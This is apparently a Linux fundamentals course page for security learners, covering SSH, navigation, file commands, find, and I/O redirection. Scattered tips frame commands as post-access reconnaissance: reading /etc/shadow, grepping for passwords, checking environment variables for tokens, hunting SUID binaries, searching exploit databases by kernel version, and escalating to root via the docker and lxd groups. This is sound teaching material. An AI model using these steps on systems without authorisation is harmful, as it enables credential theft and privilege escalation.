In Progress · 20/30 Sections

LINUX FUNDAMENTALS

⚡ Quick Command Reference — Part 1
sshRemote login
ssh user@host-p 2222 — custom port
-i key.pem — identity/key file
-L 8080:localhost:80 — local port forward
-D 1080 — SOCKS proxy
Standard encrypted remote access. Always prefer key-based auth over passwords.
whoamiCurrent username
whoamiNo flags — outputs only the username.
Works on Linux and Windows. Run immediately after gaining access to any system.
idUser & group IDs
id-u — UID only
-g — primary GID only
-G — all supplementary group IDs
-n — show names instead of numbers
sudo group = can run as root. adm group = can read /var/log.
hostnameSystem hostname
hostname-I — all IP addresses
-f — FQDN (fully qualified domain name)
-s — short hostname only
Confirms which machine you've landed on. Great sanity check during pivoting.
unameOS / kernel info
uname -a — everything at once
-r — kernel release (search this for exploits)
-s — kernel name
-m — machine arch (x86_64, arm64...)
-n — network hostname
Paste uname -r output into searchsploit or Google + "exploit".
pwdCurrent directory path
pwd-L — logical path (default, follows symlinks)
-P — physical path (resolves all symlinks)
Run before any destructive command. Know where you are at all times.
lsList directory
ls -la — all files with full details
-l — long format
-a — show hidden dot files
-h — human-readable sizes (KB/MB/GB)
-i — show inode numbers
-t — sort by modified time, newest first
-R — recursive listing
Combine freely: ls -lath, ls -laR, ls -li
cdChange directory
cd /absolute/path
cd - — return to previous directory
cd .. — go up one level
cd ~ — home directory
cd ~/Documents — relative to home
Double-tap TAB after any partial path to see completions.
touchCreate / update file
touch newfile.txt
-t 202401010800 — set custom timestamp
-a — update access time only
-m — update modification time only
If file exists, touch only updates its timestamp — does not clear content.
mkdirCreate directory
mkdir dirname
-p — create full nested path at once
-m 700 — set permissions on creation
-v — verbose (show each dir created)
mkdir -p a/b/c/d — creates all missing parents in one command.
mvMove / rename
mv old new — rename
mv file /dest/ — move
-i — prompt before overwriting
-n — never overwrite existing
-v — verbose
mv has no undo. Use -i in scripts to prevent silent overwrites.
cpCopy files/dirs
cp src dest
-r — recursive (required for dirs)
-p — preserve timestamps, perms, owner
-i — confirm before overwrite
-u — only copy if source is newer
cp -rp is useful for making full backups that preserve metadata.
rmRemove files/dirs
rm file.txt
-r — recursive (delete directories)
-f — force, no prompts
-i — confirm each deletion
rm is permanent. There is no trash bin. Always double-check the path.
treeVisual dir tree
tree .
-a — include hidden files
-L 2 — limit depth to 2 levels
-d — directories only
-h — human-readable file sizes
Not installed by default on all systems: apt install tree
nanoSimple text editor
nano file.txt
Ctrl+O — save (Write Out)
Ctrl+X — exit
Ctrl+W — search
Ctrl+K / Ctrl+U — cut / paste line
^ in nano's menu means Ctrl. Best editor for quick edits when you're learning.
vimModal power editor
vim file.txt
i — enter insert mode
Esc — return to normal mode
:w — save   :q! — quit no save
:wq — save and quit
dd — delete line   yy — copy line
Run vimtutor in terminal for a free 25-min interactive course.
catRead & stream files
cat file.txt
-n — show line numbers
-A — show all hidden chars (^I for tab, $ for newline)
cat f1 f2 > combined — concatenate files
cat = concatenate. Its name hints at its original purpose: joining files.
whichFind binary in PATH
which python3
Returns full path if found, nothing if not.
which -a python3 — show all matches in PATH
Use to confirm which version of a tool the shell will actually run.
findDeep filesystem search
find / -name "*.conf" 2>/dev/null
-type f files   -type d dirs
-user root — owned by root
-perm -4000 — SUID files
-size +10M — larger than 10MB
-mtime -7 — modified in last 7 days
2>/dev/null silences permission errors. Essential for recon.
locateFast indexed search
locate passwd
sudo updatedb — refresh database first
-i — case insensitive
-c — count matches only
Uses a pre-built index. Much faster than find but won't catch brand-new files.
ip aNetwork interfaces
ip a — all interfaces + IPs
ip link — link layer (MAC, state)
ip route — routing table
ip neigh — ARP table (neighbours)
Modern replacement for ifconfig. Available on all current distros.
ifconfigNetwork interfaces (legacy)
ifconfig
ifconfig eth0 — specific interface only
Older tool, still widely present. Use ip a on modern systems.
netstatNetwork connections
netstat -tulpn — all listening ports
-t TCP  -u UDP  -l listening
-p — show process/PID
-n — numeric (no DNS lookup)
Great for discovering locally running services not visible from outside.
ssSocket statistics
ss -tulpn — same as netstat equivalent
-s — socket summary stats
ss -tp — established TCP with process
Faster and more detailed than netstat. Preferred on modern Linux.
psProcess list
ps aux — all processes, all users
ps aux | grep ssh — filter by name
ps -ef — full format listing
ps -u www-data — specific user's processes
Look for unusual processes running as root or under service accounts.
whoLogged-in users
who
w — extended version with load & what they're doing
last — login history
Useful for situational awareness — are other users or admins active?
envEnvironment variables
env — print all env vars
printenv HOME — specific variable
echo $PATH — show PATH
Check for credentials, tokens, or API keys stored carelessly in env vars.
lsblkBlock devices
lsblk
-f — show filesystem type and UUID
-o NAME,SIZE,TYPE,MOUNTPOINT — custom columns
Shows disks, partitions, and where they're mounted.
lsusbUSB devices
lsusb
-v — verbose device details
-t — tree layout
lsofOpen files & sockets
lsof -i :80 — what's using port 80
-u root — files opened by root
-p 1234 — files opened by PID
lsof /etc/passwd — who has this file open
Powerful for finding network connections per-process without netstat.
lspciPCI hardware
lspci
-v — verbose
-k — show kernel driver in use
-nn — show vendor/device IDs
clearClear terminal
clear or Ctrl+L
Output is still accessible by scrolling up.
Ctrl+L is faster and does the same thing.
🔐
Connecting via SSH
01 / 10

SSH (Secure Shell) is an encrypted protocol for remotely accessing and controlling Linux systems over a network. Any time you need to work on a machine that isn't physically in front of you — a server, a VPS, a lab machine, a target — SSH is how you get there.

The basic syntax is ssh username@ip_address. The system will prompt for a password, or if key-based authentication is set up, log you in automatically.

TERMINAL — basic connection
$ ssh JohnDoe@10.10.14.5
JohnDoe@10.10.14.5's password: ••••••••
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-113-generic x86_64)
Last login: Mon Nov 13 17:34:22 2023 from 10.10.14.2
JohnDoe@target[~]$
TERMINAL — common SSH flags
# Connect on a non-default port (default is 22)
$ ssh -p 2222 JohnDoe@10.10.14.5

# Use a private key file for authentication instead of a password
$ ssh -i ~/.ssh/id_rsa JohnDoe@10.10.14.5

# Local port forward — tunnel remote port 80 to local port 8080
$ ssh -L 8080:localhost:80 JohnDoe@10.10.14.5

# Verbose mode — useful for debugging connection problems
$ ssh -v JohnDoe@10.10.14.5
💡
Key-based authenticationInstead of typing a password every time, you can generate an SSH key pair with ssh-keygen and copy your public key to the server with ssh-copy-id user@host. After that, SSH logs you in automatically and is more secure than passwords.
⚠️
Host verificationThe first time you connect to a new host, SSH shows a fingerprint and asks you to verify it. Type yes to accept. This protects you from connecting to a fake server (man-in-the-middle attack). Known hosts are stored in ~/.ssh/known_hosts.
🖥️
hostname — Identify the Machine
02 / 10

The hostname command prints the name assigned to the computer you are logged into. Every Linux machine has a hostname — it's used to identify the machine on a network and shows up in your shell prompt.

This matters during security work because when you're pivoting through multiple machines, hostname is how you confirm which box you're actually on before running any commands.

TERMINAL
JohnDoe@target[~]$ hostname
linux-target-01

# Show all IP addresses associated with this hostname
JohnDoe@target[~]$ hostname -I
10.10.14.5 172.17.0.1

# Show the fully qualified domain name (FQDN)
JohnDoe@target[~]$ hostname -f
linux-target-01.intranet.local
💡
Hostname in your promptThe hostname typically appears in your shell prompt automatically — e.g. JohnDoe@linux-target-01:~$. But it's good practice to run hostname explicitly, especially after escalating privileges or switching users, to confirm nothing unexpected changed.
👤
whoami — Know Your User
03 / 10

whoami prints the username of the account currently running the shell. It's one of the simplest commands but also one of the most important — especially after gaining initial access to a system, escalating privileges, or switching users with su.

It works identically on Linux, macOS, and Windows (via PowerShell or CMD), making it a universal first command regardless of which OS you land on.

TERMINAL
JohnDoe@target[~]$ whoami
JohnDoe

# After switching to root...
JohnDoe@target[~]$ sudo su
root@target[~]# whoami
root

The difference between JohnDoe and root is everything — root is the superuser account with unlimited access to the entire system. As a regular user you're heavily restricted; as root nothing is off limits.

⚠️
Why this is the first command you runYour username determines exactly what you can read, write, and execute. Running destructive commands as root by accident can wipe a system. Running enumeration as a low-privilege user tells you what you still need to escalate to. Always know who you are before doing anything else.
🪪
id — Full Identity & Group Membership
04 / 10

id goes deeper than whoami. It shows your UID (user ID number), GID (primary group ID), and every supplementary group you belong to. Groups on Linux are how access to files, devices, and services is controlled beyond simple user ownership.

TERMINAL
JohnDoe@target[~]$ id
uid=1000(JohnDoe) gid=1000(JohnDoe) groups=1000(JohnDoe),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin)

# Check another user's identity without switching to them
JohnDoe@target[~]$ id www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
GroupWhat access it grantsSecurity relevance
sudo (27)Run any command as root with sudo🚨 Highest value — direct path to full system access
adm (4)Read system logs in /var/log/Logs can contain passwords, keys, or user activity
dockerControl Docker containersDocker group = trivial root escalation via container escape
diskDirect read access to raw block devicesCan read entire filesystem contents, bypassing permissions
lxd / lxcManage Linux containersSimilar to docker — escalation path to root
🔍
Quick privilege checkThe first thing to check on any system is whether you're in the sudo group. If you are and know the account password, you can run sudo -l to see exactly which commands are permitted, or sudo su to become root.
⚙️
uname — Kernel & System Information
05 / 10

uname prints technical information about the operating system kernel running on the machine. This is essential for understanding what version of Linux you're dealing with and for searching for known vulnerabilities tied to that exact kernel version.

TERMINAL
# Print everything in one line (most useful)
JohnDoe@target[~]$ uname -a
Linux target 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

# Just the kernel version — useful for exploit research
JohnDoe@target[~]$ uname -r
4.15.0-99-generic

# Machine hardware architecture
JohnDoe@target[~]$ uname -m
x86_64
FlagWhat it printsExample output
uname -aAll info combinedFull kernel + arch + OS string
uname -rKernel release4.15.0-99-generic
uname -sKernel nameLinux
uname -nNetwork hostnametarget
uname -mMachine architecturex86_64 (64-bit Intel/AMD)
uname -oOperating systemGNU/Linux
uname -vKernel build version#100-Ubuntu SMP Wed Apr 22...
💡
Kernel exploit research workflowCopy the output of uname -r (e.g. 4.15.0-99-generic) and search it on sites like exploit-db.com, use searchsploit on Kali, or paste it into Google with the word "exploit". Older kernels on unpatched systems are frequently vulnerable to local privilege escalation.
🌐
ip — Network Interfaces, Addresses & Routing
06 / 10

The ip command is the standard tool for inspecting and configuring network interfaces on Linux. It replaced the older ifconfig command and gives you more detail and control. Every machine on a network has at least one interface with an IP address — ip is how you find that information.

Understanding the output: each network interface has a name (eth0, ens33, wlan0), an IP address, and an MTU (Maximum Transmission Unit) — the largest data packet the interface will send. Standard Ethernet uses 1500 bytes. The loopback interface (lo at 127.0.0.1) uses 65536 and only carries traffic between processes on the same machine.

TERMINAL
JohnDoe@target[~]$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
link/ether 00:50:56:b9:2a:f7 brd ff:ff:ff:ff:ff:ff
inet 10.10.14.5/24 brd 10.10.14.255 scope global eth0

# View the routing table — how the system decides where to send traffic
JohnDoe@target[~]$ ip route
default via 10.10.14.1 dev eth0 proto dhcp
10.10.14.0/24 dev eth0 proto kernel scope link src 10.10.14.5

# View ARP table — IPs mapped to MAC addresses of nearby devices
JohnDoe@target[~]$ ip neigh
10.10.14.1 dev eth0 lladdr 00:50:56:c0:00:08 REACHABLE
CommandWhat it shows
ip aAll interfaces: IP, MAC, MTU, state
ip linkLink-layer only — MAC address, interface state, no IPs
ip routeRouting table — where traffic is sent, what the gateway is
ip neighARP/neighbor cache — nearby devices and their MACs
💡
Multiple interfaces = multiple networksIf a machine has two IP addresses on different subnets (e.g. 10.10.14.x and 192.168.1.x), it's connected to two networks. This is a common sign you can pivot through this machine to reach hosts on the second network that aren't directly accessible.
🗂️
Navigation — pwd, ls, cd
07 / 10

Linux has no graphical file browser by default — you navigate entirely through the terminal. The three commands you use constantly are pwd (where am I), ls (what's here), and cd (go somewhere). Master these and the terminal stops feeling foreign.

pwd — Print Working Directory

Always know your current location before running commands. pwd prints the full absolute path of where you are in the filesystem.

TERMINAL
JohnDoe@target[~]$ pwd
/home/JohnDoe
ls — List Directory Contents

By default ls shows only visible files. Hidden files start with a dot (e.g. .bashrc, .ssh) and require the -a flag. The -l flag gives you the long format with permissions, ownership, size, and timestamps.

TERMINAL — ls variants from minimal to maximum detail
# Basic — just names
JohnDoe@target[~]$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos

# Long format — permissions, links, owner, group, size, date, name
JohnDoe@target[~]$ ls -l
total 32
drwxr-xr-x 2 JohnDoe users 4096 Nov 13 17:37 Desktop
drwxr-xr-x 2 JohnDoe users 4096 Nov 13 17:34 Documents

# All files including hidden dot files, long format
JohnDoe@target[~]$ ls -la
drwxr-xr-x 2 JohnDoe users 4096 Nov 13 .bash_history
-rw-r--r-- 1 JohnDoe users 220 Nov 13 .bashrc
drwxr-xr-x 2 JohnDoe users 4096 Nov 13 Desktop ...

# Human-readable sizes (shows KB, MB, GB instead of raw bytes)
JohnDoe@target[~]$ ls -lah
-rw-r--r-- 1 JohnDoe users 4.0K Nov 13 17:37 Desktop

# Sort by modification time, newest first — find recently changed files
JohnDoe@target[~]$ ls -lt /var/backups
-rw-r--r-- 1 root root 2048 Mar 7 10:12 shadow.bak
-rw-r--r-- 1 root root 4096 Mar 6 08:30 passwd.bak

# Show inode numbers alongside each file
JohnDoe@target[~]$ ls -lai
262401 drwxr-xr-x 2 JohnDoe users 4096 Nov 13 17:37 Desktop

# List contents of a specific path without going there first
JohnDoe@target[~]$ ls -la /var/www/html/
ls -l Column Breakdown
ColumnWhat it means
drwxr-xr-xFile type + permissions: d=directory, -=file, l=symlink. Three permission groups: owner / group / others
2Number of hard links pointing to this inode
JohnDoeOwning user
usersOwning group
4096Size in bytes (use -h for KB/MB/GB)
Nov 13 17:37Last modification time
💡
InodesEvery file on Linux has an inode — a unique number the filesystem uses to track it. The filename is just a label pointing to the inode. Hard links are multiple filenames pointing to the same inode (same data on disk). Use ls -i to see inode numbers and stat filename for full inode details.
cd — Change Directory
TERMINAL — cd navigation patterns
JohnDoe@target[~]$ cd /etc # absolute path
JohnDoe@target[/etc]$ cd apache2 # relative path (from current location)
JohnDoe@target[/etc/apache2]$ cd .. # go up one level
JohnDoe@target[/etc]$ cd - # jump back to previous directory
JohnDoe@target[/etc/apache2]$ cd ~ # home directory
JohnDoe@target[~]$ cd /var/[TAB TAB] # autocomplete shows: backups/ cache/ lib/ log/...
💡
Special path symbols. = the current directory  ·  .. = one level up  ·  ~ = your home directory  ·  - = previous directory. These can be combined: cd ../../etc goes up two levels then into etc.
📁
File Management — touch, mkdir, mv, cp, rm
08 / 10

Creating, organizing, moving, copying, and deleting files from the terminal is fast and precise once you know the commands. Unlike a GUI where mistakes can be undone, terminal file operations are mostly irreversible — there is no Recycle Bin. Develop the habit of double-checking paths before pressing Enter.

TERMINAL — creating files and directories
# Create an empty file (or update its timestamp if it already exists)
JohnDoe@target[~]$ touch report.txt

# Create multiple files at once
JohnDoe@target[~]$ touch file1.txt file2.txt file3.txt

# Create a directory
JohnDoe@target[~]$ mkdir logs

# Create a full nested path in one command (-p = parents)
JohnDoe@target[~]$ mkdir -p project/src/modules/auth

JohnDoe@target[~]$ tree project
project/
└── src/
└── modules/
└── auth/
TERMINAL — moving and renaming
# Rename a file (mv is used for both moving AND renaming)
JohnDoe@target[~]$ mv report.txt final_report.txt

# Move a file into a directory
JohnDoe@target[~]$ mv final_report.txt logs/

# Move multiple files into a directory at once
JohnDoe@target[~]$ mv file1.txt file2.txt file3.txt logs/

# Rename a directory
JohnDoe@target[~]$ mv logs archive
TERMINAL — copying
# Copy a file
JohnDoe@target[~]$ cp config.txt config.bak

# Copy a file into a directory
JohnDoe@target[~]$ cp config.txt /etc/myapp/

# Copy an entire directory recursively (-r required for directories)
JohnDoe@target[~]$ cp -r project/ project_backup/

# Copy preserving timestamps, permissions, and owner (-p = preserve)
JohnDoe@target[~]$ cp -rp /etc/apache2/ ~/apache2_backup/
TERMINAL — deleting
# Delete a single file
JohnDoe@target[~]$ rm oldfile.txt

# Delete a directory and all its contents recursively
JohnDoe@target[~]$ rm -r project_backup/

# Delete with confirmation prompt for each file (-i = interactive)
JohnDoe@target[~]$ rm -ri logs/
rm: remove directory 'logs/'? y
⚠️
rm has no undoThere is no Recycle Bin on Linux. rm -rf / or rm -rf ./ with a bad path can destroy the entire system. Always verify your path with pwd and ls before using rm -r. In scripts, use -i to prompt before each deletion.
✏️
Text Editors & File Reading — nano, vim, cat
09 / 10

On Linux, everything is a file — configurations, logs, scripts, user data. Being able to read and edit files directly in the terminal is a core skill. You have three main tools: cat for quickly reading content, nano for beginner-friendly editing, and vim for serious terminal editing power.

cat — Read, Display & Combine Files

cat streams file contents directly to the terminal. It's fast and has no interface to navigate — just raw output. Perfect for quick reads, combining files, and piping content into other commands.

TERMINAL
# Read and print a file
JohnDoe@target[~]$ cat /etc/hostname
linux-target-01

# Show line numbers (-n)
JohnDoe@target[~]$ cat -n /etc/hosts
1 127.0.0.1 localhost
2 10.10.14.5 linux-target-01

# View key security files
JohnDoe@target[~]$ cat /etc/passwd # user accounts
root@target[~]# cat /etc/shadow # password hashes (root only)
JohnDoe@target[~]$ cat /etc/group # group definitions

# Combine (concatenate) multiple files into one
JohnDoe@target[~]$ cat part1.txt part2.txt > combined.txt
⚠️
/etc/passwd vs /etc/shadow/etc/passwd is readable by everyone and contains usernames, UIDs, home directories, and shell assignments. Password hashes moved to /etc/shadow, which is readable only by root. If /etc/shadow is readable by your user — that's a serious misconfiguration worth noting.
nano — Beginner-Friendly Interactive Editor

Nano opens a full-screen editor inside the terminal. Unlike vim, it behaves like a normal text editor — you type and characters appear. Keyboard shortcuts are displayed at the bottom of the screen at all times. The ^ symbol means Ctrl.

TERMINAL
# Create and open a new file (or open existing)
JohnDoe@target[~]$ nano notes.txt

# Edit a system config file (needs sudo for protected files)
JohnDoe@target[~]$ sudo nano /etc/hosts
Ctrl+OSave (Write Out)
Ctrl+XExit
Ctrl+WSearch
Ctrl+KCut line
Ctrl+UPaste (Uncut)
Ctrl+GHelp
Ctrl+_Go to line #
Alt+UUndo
vim — Modal Power Editor

Vim uses modes — it separates navigation and editing into distinct states. This feels strange at first but makes experienced users extremely fast. The key thing to understand: pressing keys in Normal mode runs commands, not text. You must enter Insert mode to type.

ModeHow to enterWhat you can do
NormalEsc (default on open)Navigate, delete, copy, search. Keys are commands, not text input.
Inserti before cursor, a after, o new line belowType text normally
Visualv char, V line, Ctrl+v blockSelect text to copy, delete, or indent
Command:Run commands: save, quit, find+replace, set options
iInsert before cursor
EscBack to Normal
:wSave
:q!Quit (no save)
:wqSave + quit
ddDelete line
yyCopy line
pPaste
/textSearch forward
:%s/old/new/gReplace all
🧪
Learn vim step by stepRun vimtutor in your terminal — it's a free built-in interactive tutorial that takes about 25 minutes and teaches you everything you need to be productive. Vim comes pre-installed on virtually every Linux server, so investing in it pays off.
🔍
Finding Files — which, find, locate
10 / 10

Knowing how to locate files quickly is essential on any system. You might need to find a config file, locate a specific binary, identify recently modified files, or search for files with dangerous permissions. Linux gives you three tools for this — each with different speed/power tradeoffs.

which — Find a Binary in Your PATH

which tells you the exact path to a program that would run if you typed its name. It only looks in directories listed in your $PATH variable — so if a tool isn't in PATH, which won't find it even if it exists elsewhere.

TERMINAL
JohnDoe@target[~]$ which python3
/usr/bin/python3

JohnDoe@target[~]$ which curl wget nc nmap # check multiple at once
/usr/bin/curl
/usr/bin/wget
/usr/bin/nc

# No output = not found in PATH
JohnDoe@target[~]$ which gcc
(no output — gcc not installed or not in PATH)
find — Deep Live Filesystem Search

find searches the actual filesystem in real time and supports powerful filtering. It can search by name, type, size, owner, permissions, modification date, and more — and can execute commands on every match. The tradeoff is it can be slow on large systems.

TERMINAL — common find patterns
# Find all .conf files anywhere on the system (suppress errors)
JohnDoe@target[~]$ find / -name "*.conf" 2>/dev/null

# Find files owned by root, larger than 20KB, modified after a date
JohnDoe@target[~]$ find / -type f -name "*.conf" -user root -size +20k -newermt 2020-01-01 2>/dev/null

# Find all SUID binaries (setuid = runs as file owner, not calling user)
JohnDoe@target[~]$ find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo

# Find world-writable directories
JohnDoe@target[~]$ find / -type d -perm -o+w 2>/dev/null

# Find and execute a command on each result (-exec)
JohnDoe@target[~]$ find /var/log -name "*.log" -exec ls -lh {} \;

# Files modified in the last 7 days
JohnDoe@target[~]$ find /home -mtime -7 2>/dev/null
OptionWhat it filters on
-type f / -type dFiles only / directories only
-name "*.sh"Filename pattern (case-sensitive; use -iname for case-insensitive)
-user rootOwned by a specific user
-group sudoOwned by a specific group
-size +10MLarger than 10 megabytes (+=larger, -=smaller; k/M/G)
-perm -4000Has SUID bit set
-perm -o+wWorld-writable (others can write)
-mtime -7Modified within the last 7 days
-exec cmd {} \;Run a command on each result
2>/dev/nullSuppress "Permission denied" errors
locate — Fast Database-Driven Search

locate searches a pre-built index of the filesystem rather than scanning live. This makes it dramatically faster than find, but it only knows about files that existed when the database was last updated. On active systems, run sudo updatedb first.

TERMINAL
JohnDoe@target[~]$ sudo updatedb # rebuild the index first
JohnDoe@target[~]$ locate passwd
/etc/passwd
/etc/pam.d/passwd
/usr/share/doc/passwd

# Case-insensitive search
JohnDoe@target[~]$ locate -i readme

# Count matches only
JohnDoe@target[~]$ locate -c "*.conf"
1847
💡
When to use which toolUse which to find executables in your PATH. Use locate when you need speed and the file is likely not brand new. Use find when you need precision — filtering by permissions, size, date, or running commands on results. find is indispensable for security enumeration and automation.
── end of part 1 · sections 1–10 ──
⚡ Quick Command Reference — Part 2
stdin/out/errFile descriptors
FD 0 = STDIN (input)
FD 1 = STDOUT (normal output)
FD 2 = STDERR (error output)
All I/O in Linux flows through one of these three streams.
>Redirect STDOUT
cmd > file — overwrite file with output
>> — append instead of overwrite
1> — explicit STDOUT redirect
Using > on an existing file destroys its previous contents.
2>/dev/nullDiscard errors
Redirects STDERR (FD 2) to /dev/null — a black hole device that discards all input.
Append to any command to hide permission denied and other errors cleanly.
|Pipe output
cmd1 | cmd2 | cmd3
Connects STDOUT of left to STDIN of right.
Chain as many as needed. The backbone of Linux one-liners.
grepFilter by pattern
grep "pattern" file
-i — case insensitive
-v — invert (exclude matches)
-r — recursive through dirs
-n — show line numbers
-E — extended regex (|, +, ?)
-l — show filenames only
grep -r "password" /etc/ 2>/dev/null — classic recon search.
morePager (simple)
cat file | more
Space — next page  Q — quit
Output stays in terminal after exit. Use less for cleaner experience.
lessPager (advanced)
less file
Space/B — forward/back
/pattern — search forward
?pattern — search backward
G — go to end  g — go to start
Q — quit (clears output)
Man pages use less internally. Learning less = using man pages better.
headFirst N lines
head file — first 10 lines
-n 25 — first 25 lines
head -c 100 — first 100 bytes
tailLast N lines
tail file — last 10 lines
-n 25 — last 25 lines
-f — follow live (stream updates)
tail -f /var/log/auth.log — watch login attempts in real time.
sortSort lines
sort file — alphabetical
-n — numeric sort
-r — reverse order
-u — unique lines only
-k2 — sort by 2nd field
cutExtract columns
cut -d":" -f1 file
-d — delimiter character
-f1,3 — fields 1 and 3
-c1-10 — characters 1 to 10
trTranslate characters
tr ":" " " — replace : with space
tr "a-z" "A-Z" — uppercase conversion
-d ":" — delete specific characters
-s " " — squeeze repeated chars
columnAlign into table
... | column -t
Auto-aligns whitespace-separated fields into neat columns.
Pair with tr to replace delimiters before formatting.
awkField processor
awk '{print $1, $NF}'
$1 first field  $NF last field
-F":" — set field separator
awk 'NR==5' — print line 5
awk can do math, conditionals, and loops. A full language in itself.
sedStream editor
sed 's/old/new/g' — replace all
-i — edit file in place
-n '5p' — print only line 5
'/pattern/d' — delete matching lines
wcCount lines/words
wc -l file — line count
-w — word count
-c — byte count
-m — character count
chmodChange permissions
chmod 755 file — octal
a+r — add read for all
u-x — remove exec from owner
g+w — add write to group
-R — recursive
755=rwxr-xr-x 644=rw-r--r-- 700=rwx------
chownChange owner/group
chown user:group file
chown user file — owner only
chown :group file — group only
-R — recursive
Requires root/sudo to change ownership to another user.
grep -rRecursive search
grep -r "password" /etc/ 2>/dev/null
-l — show filenames only, not content
-n — include line numbers
Fastest way to hunt for credentials or config values across directories.
sudoRun command as root
sudo command
sudo -l — list permitted commands
sudo -i — open root login shell
sudo -u user cmd — run as specific user
Requires the user to be in the sudo group. Leaves an audit trail in /var/log/auth.log.
suSwitch user
su username — switch to that user (their password)
sudo su - — become root via sudo (your password)
su - — root login shell (root's password)
The dash (-) loads a clean login environment for the target user.
useraddCreate user account
useradd -m username
-s /bin/bash — set login shell
-G sudo,docker — add to groups
Then: passwd username — set password
-m creates /home/username. Without it, no home dir is made.
usermodModify user account
usermod -aG group user
-aG — ALWAYS use -a (append) not just -G
-s /bin/bash — change shell
userdel -r user — delete + home dir
Without -a, -G replaces ALL groups — can silently remove sudo access.
passwdSet / change password
passwd — change your own password
passwd username — set another user's (root only)
-l user — lock account
-u user — unlock account
aptPackage manager
sudo apt install pkg -y
apt update — refresh package index first
apt upgrade — upgrade all packages
apt remove / purge pkg — uninstall
apt search name — find packages
Always apt update before installing. apt-cache show pkg for details.
dpkgInstall .deb files
sudo dpkg -i package.deb
-l — list installed packages
-r package — remove
If deps fail: sudo apt install -f
Use for .deb files not in any apt repository. APT handles dependencies better.
systemctlService control
systemctl start / stop / restart service
status service — check if running
enable — start on boot
disable — don't start on boot
list-units --type=service — all services
Check status after starting anything. journalctl -u service for logs.
journalctlService & system logs
journalctl -u ssh.service
-f — follow live
--no-pager — plain stdout
-n 50 — last 50 lines
First stop when a service fails to start. Shows full log with timestamps.
killSend signal to process
kill PID — SIGTERM (graceful)
kill -9 PID — SIGKILL (immediate, unblockable)
pkill name — kill by process name
kill -l — list all signals
Always try SIGTERM first. SIGKILL skips cleanup — use as last resort.
bg / fgBackground jobs
Ctrl+Z — suspend foreground process
bg — resume suspended job in background
fg — bring background job to foreground
jobs — list background jobs
cmd & — start directly in background
crontabSchedule tasks
crontab -e — edit crontab
crontab -l — list current jobs
crontab -r — remove all jobs
Format: min hr dom mon dow /path/cmd
* = every. */5 = every 5 units. Check /var/spool/cron/ for all user crontabs.
curlHTTP requests / download
curl http://host/file — outputs to STDOUT
-o filename — save to file
-I — headers only (HEAD request)
-L — follow redirects
-X POST -d "data" — POST request
curl prints to terminal. Use -o to save. Essential for web recon and file transfer.
wgetDownload files
wget http://host/file — saves to disk
-O name — save as specific filename
-q — quiet (no progress output)
-qO- — quiet, output to STDOUT
wget auto-saves. curl prints to terminal. Different default behaviors.
python3 -m http.serverQuick file server
python3 -m http.server — port 8000
python3 -m http.server 443 — custom port
--directory /path/ — serve specific dir
Instantly host files from current directory. Standard CTF/pentest file transfer tool.
📊
File Descriptors & I/O Redirection
11 / 20

Every process in Linux communicates through three standard data streams, each identified by a number called a file descriptor (FD). Understanding these is what makes redirection and piping make sense — they're all just moving data between these streams.

STDIN — FD 0 — keyboard input STDOUT — FD 1 — normal output STDERR — FD 2 — error output

When you type a command and press Enter, your typed text goes in via STDIN. The result prints to the terminal via STDOUT. Any error messages come through STDERR — a separate stream so that errors and results can be handled independently.

TERMINAL — seeing STDOUT and STDERR separately
# Both results and errors print to the terminal (mixed together)
JohnDoe@target[~]$ find /etc/ -name shadow
/etc/shadow ← STDOUT (found it)
find: '/etc/ssl/private': Permission denied ← STDERR (access error)

# Redirect STDERR (FD 2) to /dev/null — silence all errors
JohnDoe@target[~]$ find /etc/ -name shadow 2>/dev/null
/etc/shadow ← only clean results remain
TERMINAL — all redirection operators
# Write STDOUT to a file (overwrites if it exists)
JohnDoe@target[~]$ find /etc/ -name shadow 2>/dev/null > results.txt

# APPEND to a file instead of overwriting (>>)
JohnDoe@target[~]$ find /etc/ -name passwd 2>/dev/null >> results.txt

# Send STDOUT and STDERR to separate files
JohnDoe@target[~]$ find / -name "*.key" 1> found.txt 2> errors.txt

# Redirect both STDOUT and STDERR to the same file
JohnDoe@target[~]$ find / -name "*.key" > output.txt 2>&1

# Use a file as STDIN input (<)
JohnDoe@target[~]$ cat < results.txt
/etc/shadow
/etc/passwd

# Heredoc — feed multiline text as STDIN, stop at EOF marker
JohnDoe@target[~]$ cat << EOF > notes.txt
> Line one of my notes
> Line two of my notes
> EOF
JohnDoe@target[~]$ cat notes.txt
Line one of my notes
Line two of my notes
OperatorWhat it does
>Redirect STDOUT to file — overwrites existing content
>>Redirect STDOUT to file — appends to existing content
2>/dev/nullSend STDERR to the null device (discard errors)
2> fileRedirect STDERR to a file
2>&1Merge STDERR into STDOUT stream
<Use file content as STDIN
<< EOFFeed inline multiline text as STDIN (heredoc)
|Pipe STDOUT of one command to STDIN of the next
TERMINAL — piping: chaining multiple commands
# Find all .conf files → filter for "systemd" → count how many
JohnDoe@target[~]$ find /etc/ -name "*.conf" 2>/dev/null | grep systemd | wc -l
6

# Classic grep-through-logs pipeline
JohnDoe@target[~]$ cat /var/log/auth.log | grep "Failed password" | tail -20
💡
Think of pipes as assembly linesEach command in a pipeline receives the previous command's output as its input and passes its own output forward. cmd1 | cmd2 | cmd3 — data flows left to right, getting transformed at each stage. There's no limit to how many you can chain.
🔽
Filtering & Processing Text — grep, head, tail, sort, cut, tr, awk, sed, wc
12 / 20

Linux gives you a powerful set of text-processing tools that each do one thing well. Combined via pipes, they become an incredibly precise toolkit for extracting exactly the data you need from any output, log, or file — without ever opening an editor.

Pagers — Reading Large Files Comfortably

more and less let you scroll through large files one screen at a time instead of everything flooding the terminal at once. less is the more capable of the two — it lets you scroll backwards, search, and leaves a clean terminal when you exit.

TERMINAL
JohnDoe@target[~]$ less /etc/passwd # scroll with arrows, / to search, q to quit
JohnDoe@target[~]$ cat /var/log/syslog | less # pipe any output through less
JohnDoe@target[~]$ man grep | less # man pages already use less
